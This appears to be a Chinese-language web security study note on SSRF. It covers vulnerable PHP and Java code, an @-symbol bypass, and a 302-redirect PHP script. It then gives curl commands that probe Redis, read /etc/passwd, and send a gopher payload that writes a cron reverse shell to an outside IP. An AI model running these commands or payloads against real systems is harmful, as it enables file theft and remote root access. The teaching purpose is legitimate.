sql注入

XSS

CSRF

SSRF

ssrf即服务器请求伪造漏洞,凡是能发起网络请求的地方,都有可能存在该漏洞。

漏洞的成因是服务器需要通过网络请求访问资源,但是在进行访问的时候:

  • 存在网络访问地址可以修改的位置
  • 未对网络访问做任何限制:地址白名单、关键字过滤、302跳转等等

以下位置都可能存在ssrf漏洞:

  • 图片加载
  • 下载功能
  • api远程调用

源码分析

php导致ssrf的源码

php中下面的函数使用不当会导致ssrf问题

1
2
3
file_get_contents()
fsockopen()
curl_exec()

java导致ssrf的源码

url参数没做限制,可调用URLConnection发起任意请求,比如请求内网,或使用file等协议读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection conn = u.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String content;
StringBuffer html = new StringBuffer();

while ((content = reader.readLine()) != null) {
html.append(content);
}
reader.close();
return html.toString();

} catch (Exception e) {
return e.getMessage();
}
}

绕过方式

SSRF漏洞Bypass技巧 - 知乎 (zhihu.com)

@符号绕过

@符号后面的内容才是真实的访问内容
http://www.baidu.com@10.10.10.10与http://10.10.10.10请求是相同的

该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。

302 Redirect绕过

需要一个公网vps

创建一个302.php放入vps的网站

1
2
3
4
5
6
7
8
9
10
<?php  
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}

使用方法,简单验证:

1
?url=https://poetmilk.fun/302.php?s=http&i=192.168.80.80&p=48756&q=vul/ssrf/ssrf_info/info1.php

也可以使用curl,以下是curl进行redis利用的例子:

1
2
3
4
5
6
7
8
9
10
11
# dict protocol - 探测Redis
dict://127.0.0.1:6379/info
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'
# file protocol - 任意文件读取
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'
# gopher protocol - 一键反弹Bash
# * 注意: gopher跳转的时候转义和`url`入参的方式有些区别
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

任意文件读取/下载

登录凭据可爆破

明文传输

弱口令